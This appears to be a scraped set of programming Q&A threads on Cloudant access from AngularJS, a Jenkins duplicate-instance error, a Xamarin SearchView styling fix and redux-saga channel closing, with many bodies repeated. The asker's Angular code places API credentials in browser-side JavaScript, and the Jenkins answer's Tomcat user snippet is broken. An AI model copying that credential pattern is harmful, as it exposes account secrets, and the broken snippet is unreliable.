```<code>var databaseUrl = 'https://' + ACCOUNTNAME + '.cloudant.com/' + DATABASE

$http.post(databaseUrl, {'_id':'CLient1', 'Client_Name':'ABC'}, {withCredentials: true})
    .then(function(response) {
        $scope.revisionNumNews = response.rev
    })
</code>```

however, if you are trying to update an existing document your will need to make a PUT request and also include the document's latest _rev. it would look something like this:

```<code>var databaseUrl = 'https://' + ACCOUNTNAME + '.cloudant.com/' + DATABASE

$http.put(databaseUrl + '/' + cloudantDocId, cloudantDoc, {withCredentials: true})
    .then(function(response) {
        $scope.revisionNumNews = response.rev
    })
</code>```

where cloudantDocId is the document id of the document getting updated and cloudantDoc is the updated document object (with the latest _rev)

Title: Pure Angular Cloudant connection

Body:
Iam trying to connect to my cloudant using just angular. The first post is successful and I am able to retrive a document/view from the cloudant with the first get method.

But when I do a successive post method I am getting a 401 unauthorised error message. Could someone please explain me what error I am doing here. Please reply in detail as I am newbie with angular and cloudant (RESTful arch)

var app = angular.module('myApp', []);
const ACCOUNTNAME = 'my acc';
const APIKEY = 'my key';
const APIPASSWORD = 'my pass';
const DATABASE = 'my db';
var cloudantDoc = 'link of document to update';

app.controller('tutorialCtrl', function($scope, $http) {
//Authentication header settings
var req = {
    method: 'POST',
    url: 'https://'+ACCOUNTNAME+'.cloudant.com/_session',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    data: 'name='+APIKEY+'&password='+APIPASSWORD,
    withCredentials: true
}

$http(req).then(function(result){
                    //Grab data
                    req = {
                        method: 'GET',
                        url: 'https://'+ACCOUNTNAME+'.cloudant.com/'+DATABASE+'/_design/AllClients/_view/AllClients',
                        withCredentials: true

                    }

                    $http(req).then(function(result){
                                        $scope.tableData = result.data;
                                        console.log(result);
                                    },
                                    function(){
                                        console.log("Failed at grabbing data");
                                    });

                },
                function(){
                    console.log('Failed at authenticating');
                }
);

$scope.revisionNumNews;

    $http.post(cloudantDoc, JSON.stringify({"_id": "CLient1", "Client_Name":"ABC", "_rev": ""})).success(function(response){
                revisionNumNews = response.rev;

            });

Body:
in your code you have var cloudantDoc = 'link of document to update', if you are trying to update an existing document you will need to make a PUT request instead of a POST. in any case, your request should include the {withCredentials: true} option.

if you are trying to create a new document try changing your POST request to something like this:

var databaseUrl = 'https://' + ACCOUNTNAME + '.cloudant.com/' + DATABASE

$http.post(databaseUrl, {'_id':'CLient1', 'Client_Name':'ABC'}, {withCredentials: true})
    .then(function(response) {
        $scope.revisionNumNews = response.rev
    })

however, if you are trying to update an existing document your will need to make a PUT request and also include the document's latest _rev. it would look something like this:

var databaseUrl = 'https://' + ACCOUNTNAME + '.cloudant.com/' + DATABASE

$http.put(databaseUrl + '/' + cloudantDocId, cloudantDoc, {withCredentials: true})
    .then(function(response) {
        $scope.revisionNumNews = response.rev
    })

where cloudantDocId is the document id of the document getting updated and cloudantDoc is the updated document object (with the latest _rev)


问:
Error - Jenkins detected running multiple instances
I am running Jenkins as windows service. It was all good, suddenly from today noon I started seeing the following error while opening it.

Jenkins detected that you appear to be running more than one instance
  of Jenkins that share the same home directory '’. This
  greatly confuses Jenkins and you will likely experience strange
  behaviors, so please correct the situation.

This Jenkins: 17485453 contextPath="" at 1264@< MachineName >

  Other Jenkins:    15621395 contextPath="" at 13424@< MachineName >

How this occurs? Any help to solve this?

Any help is appreciated !!

答:
Alternatively use the Tomcat Manager Gui (http://:8080/manager/html) to stop/undeploy the duplicate process.  Username and password is in tomcat/conf/tomcat-users.xml

if not add

  " password="" roles="manager-gui"/>

to the  node.


问:
SearchView-Widget is not displaying caret and underline in Xamarin.Forms (Android)
I try to put a searchbar in the navigation of a content page on Xamarin.Forms (Android).  I use the following code (from https://www.linkedin.com/pulse/xamarin-forms-contentpage-searchbar-navigation-bar-vipin-mathews):

First i define my searchbar resource:

```<code><?xml version="1.0" encoding="utf-8" ?>
<menu xmlns:android="http://schemas.android.com/apk/res/android"
      xmlns:app="http://schemas.android.com/apk/res-auto">
  <item android:id="@+id/action_search"
        android:title="Search"
        android:icon="@android:drawable/ic_menu_search"
        app:showAsAction="always|collapseActionView"
        app:actionViewClass="android.support.v7.widget.SearchView"/>
</menu>
</code>```

Then i use a custom renderer to display it inside the navigation-header of a ContentPage:

```<code>[assembly: ExportRenderer(typeof(SearchPage), typeof(SearchPageRenderer))]

namespace Muellerchur.Xamos.Streckenkontrolle.Droid.CustomRenderer
{
    using Android.Runtime;
    using Android.Support.V7.Widget;
    using Android.Text;
    using Android.Views.InputMethods;

    using Muellerchur.Xamos.Streckenkontrolle.Droid;

    using Plugin.CurrentActivity;

    using Xamarin.Forms;
    using Xamarin.Forms.Platform.Android;

    using Resource = Muellerchur.Xamos.Streckenkontrolle.Droid.Resource;

    /// <summary>
    ///     The search page renderer.
    /// </summary>
    public class SearchPageRenderer : PageRenderer
    {
        /// <summary>
        ///     Gets or sets the search view.
        /// </summary>
        private SearchView searchView;

        /// <summary>
        ///     Gets or sets the toolbar.
        /// </summary>
        private Toolbar toolbar;

        /// <summary>
        ///     Reaction on the disposing of the page.
        /// </summary>
        /// <param name="disposing">A value indicating whether disposing.</param>

        /// <summary>
        ///     Reaction on the element changed event.
        /// </summary>
        /// <param name="e">The event argument.</param>
        protected override void OnElementChanged(ElementChangedEventArgs<Page> e)
        {
            base.OnElementChanged(e);

            if (e?.NewElement == null || e.OldElement != null)
            {
                return;
            }

            this.AddSearchToToolBar();
        }

        /// <summary>
        ///     Adds a search item to the toolbar.
        /// </summary>
        private void AddSearchToToolBar()
        {
            this.toolbar = (CrossCurrentActivity.Current?.Activity as MainActivity)?.FindViewById<Toolbar>(Resource.Id.toolbar);

            if (this.toolbar != null)
            {
                this.toolbar.Title = this.Element.Title;
                this.toolbar.InflateMenu(Resource.Menu.mainmenu);

                this.searchView = this.toolbar.Menu?.FindItem(Resource.Id.action_search)?.ActionView?.JavaCast<SearchView>();

                if (this.searchView != null)
                {
                    this.searchView.ImeOptions = (int)ImeAction.Search;
                    this.searchView.InputType = (int)InputTypes.TextVariationNormal;
                    this.searchView.MaxWidth = int.MaxValue;
                }
            }
        }

    }
}
</code>```

However, if the user enters the SearchView no caret and no underline is shown:

I want to display something like this (without icons)

How can I archieve this layout? Or is it phone-dependant? I'm using a HUAWEI P9 Android-Phone.

答:
SearchView-Widget is not displaying caret and underline in Xamarin.Forms (Android)

I have reproduced your problem and I think it's not phone-dependant. There are some problems occurred in your AddSearchToToolBar method.

Display caret :

Delete the this.searchView.InputType = (int)InputTypes.TextVariationNormal, the caret will display normally.

Display underline :

Thanks for vArDo's advice, you could set a background which contains a underline for SearchView. To create drawable selector, so that proper image is displayed based on view state,  one for state when text field is selected (named textfield_search_selected_holo_light.9.png) and one for where it's not (named textfield_search_default_holo_light.9.png).

Create file res/drawable/texfield_searchview_holo_light.xml with following content:

```<code><?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
   <item android:state_focused="true" android:drawable="@drawable/textfield_search_selected_holo_light" />
   <item android:drawable="@drawable/textfield_search_default_holo_light" />
</selector>
</code>```

Set Drawable selector for SearchView :

```<code>this.searchView.SetBackgroundResource(Resource.Drawable.texfield_searchview_holo_light);
</code>```

Effect like this :

Body:
I try to put a searchbar in the navigation of a content page on Xamarin.Forms (Android).  I use the following code (from https://www.linkedin.com/pulse/xamarin-forms-contentpage-searchbar-navigation-bar-vipin-mathews):

First i define my searchbar resource:

<?xml version="1.0" encoding="utf-8" ?>
<menu xmlns:android="http://schemas.android.com/apk/res/android"
      xmlns:app="http://schemas.android.com/apk/res-auto">
  <item android:id="@+id/action_search"
        android:title="Search"
        android:icon="@android:drawable/ic_menu_search"
        app:showAsAction="always|collapseActionView"
        app:actionViewClass="android.support.v7.widget.SearchView"/>
</menu>

Then i use a custom renderer to display it inside the navigation-header of a ContentPage:

[assembly: ExportRenderer(typeof(SearchPage), typeof(SearchPageRenderer))]

namespace Muellerchur.Xamos.Streckenkontrolle.Droid.CustomRenderer
{
    using Android.Runtime;
    using Android.Support.V7.Widget;
    using Android.Text;
    using Android.Views.InputMethods;

    using Muellerchur.Xamos.Streckenkontrolle.Droid;

    using Plugin.CurrentActivity;

    using Xamarin.Forms;
    using Xamarin.Forms.Platform.Android;

    using Resource = Muellerchur.Xamos.Streckenkontrolle.Droid.Resource;

    ///
    ///     The search page renderer.
    ///
    public class SearchPageRenderer : PageRenderer
    {
        ///
        ///     Gets or sets the search view.
        ///
        private SearchView searchView;

        ///
        ///     Gets or sets the toolbar.
        ///
        private Toolbar toolbar;

        ///
        ///     Reaction on the disposing of the page.
        ///
        /// <param name="disposing">A value indicating whether disposing.</param>

        ///
        ///     Reaction on the element changed event.
        ///
        /// <param name="e">The event argument.</param>
        protected override void OnElementChanged(ElementChangedEventArgs<Page> e)
        {
            base.OnElementChanged(e);

            if (e?.NewElement == null || e.OldElement != null)
            {
                return;
            }

            this.AddSearchToToolBar();
        }

        ///
        ///     Adds a search item to the toolbar.
        ///
        private void AddSearchToToolBar()
        {
            this.toolbar = (CrossCurrentActivity.Current?.Activity as MainActivity)?.FindViewById<Toolbar>(Resource.Id.toolbar);

            if (this.toolbar != null)
            {
                this.toolbar.Title = this.Element.Title;
                this.toolbar.InflateMenu(Resource.Menu.mainmenu);

                this.searchView = this.toolbar.Menu?.FindItem(Resource.Id.action_search)?.ActionView?.JavaCast<SearchView>();

                if (this.searchView != null)
                {
                    this.searchView.ImeOptions = (int)ImeAction.Search;
                    this.searchView.InputType = (int)InputTypes.TextVariationNormal;
                    this.searchView.MaxWidth = int.MaxValue;
                }
            }
        }

    }
}

However, if the user enters the SearchView no caret and no underline is shown:

I want to display something like this (without icons)

How can I archieve this layout? Or is it phone-dependant? I'm using a HUAWEI P9 Android-Phone.

Body:
SearchView-Widget is not displaying caret and underline in Xamarin.Forms (Android)

I have reproduced your problem and I think it's not phone-dependant. There are some problems occurred in your AddSearchToToolBar method.

Display caret :

Delete the this.searchView.InputType = (int)InputTypes.TextVariationNormal, the caret will display normally.

Display underline :

Thanks for vArDo's advice, you could set a background which contains a underline for SearchView. To create drawable selector, so that proper image is displayed based on view state,  one for state when text field is selected (named textfield_search_selected_holo_light.9.png) and one for where it's not (named textfield_search_default_holo_light.9.png).

Create file res/drawable/texfield_searchview_holo_light.xml with following content:

<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
   <item android:state_focused="true" android:drawable="@drawable/textfield_search_selected_holo_light" />
   <item android:drawable="@drawable/textfield_search_default_holo_light" />
</selector>

Set Drawable selector for SearchView :

this.searchView.SetBackgroundResource(Resource.Drawable.texfield_searchview_holo_light);

Effect like this :


问:
How to close an eventChannel when a certain action comes along
I have an eventChannel for listening to webSockets, this works fine.

I also want to listen to an action USER_LOGGED_OUT and close the channel.

I'm closing the channel from within the channel by emitting END in case of a socket error or socket closing, but how do I do this based on external actions?

This is the channel loop:

```<code>export function* websocketWatcher() {
  const tokenResponse = yield take(RECEIVE_USER_TOKEN);
  const accessToken = tokenResponse.payload.data.access_token;

  const channel = yield call(createWebsocketChannel, accessToken);
  try {
    while (true) {
      const action = yield take(channel);
      yield put(action);
    }
  } finally {
    console.log('Websocket channel terminated');
  }
}
</code>```

答:
Answering this myself..

I just found channel.close() in the docs. Don't know how I missed that. I solved it with a race between the channel (incoming socket data) and the logged out action.

```<code>export function* websocketWatcher() {
  const tokenResponse = yield take(RECEIVE_USER_TOKEN);
  const accessToken = tokenResponse.payload.data.access_token;

  const channel = yield call(createWebsocketChannel, accessToken);
  try {
    while (true) {
      const { logoutAction, socketAction } = yield race({
        logoutAction: take(USER_LOGGED_OUT),
        socketAction: take(channel)
      });

      if (logoutAction) {
        channel.close();
      } else {
        yield put(socketAction);
      }
    }
  } finally {
    console.log('Websocket channel terminated');
  }
}
</code>```

Body:
I have an eventChannel for listening to webSockets, this works fine.

I also want to listen to an action USER_LOGGED_OUT and close the channel.

I'm closing the channel from within the channel by emitting END in case of a socket error or socket closing, but how do I do this based on external actions?

This is the channel loop:

export function* websocketWatcher() {
  const tokenResponse = yield take(RECEIVE_USER_TOKEN);
  const accessToken = tokenResponse.payload.data.access_token;

  const channel = yield call(createWebsocketChannel, accessToken);
  try {
    while (true) {
      const action = yield take(channel);
      yield put(action);
    }
  } finally {
    console.log('Websocket channel terminated');
  }
}

Body:
Answering this myself..

I just found channel.close() in the docs. Don't know how I missed that. I solved it with a race between the channel (incoming socket data) and the logged out action.

export function* websocketWatcher() {
  const tokenResponse = yield take(RECEIVE_USER_TOKEN);
  const accessToken = tokenResponse.payload.data.access_token;

  const channel = yield call(createWebsocketChannel, accessToken);
  try {
    while (true) {
      const { logoutAction, socketAction } = yield race({
        logoutAction: take(USER_LOGGED_OUT),
        socketAction: take(channel)
      });

      if (logoutAction) {
        channel.close();
      } else {
        yield put(socketAction);
      }
    }
  } finally {
    console.log('Websocket channel terminated');
  }
}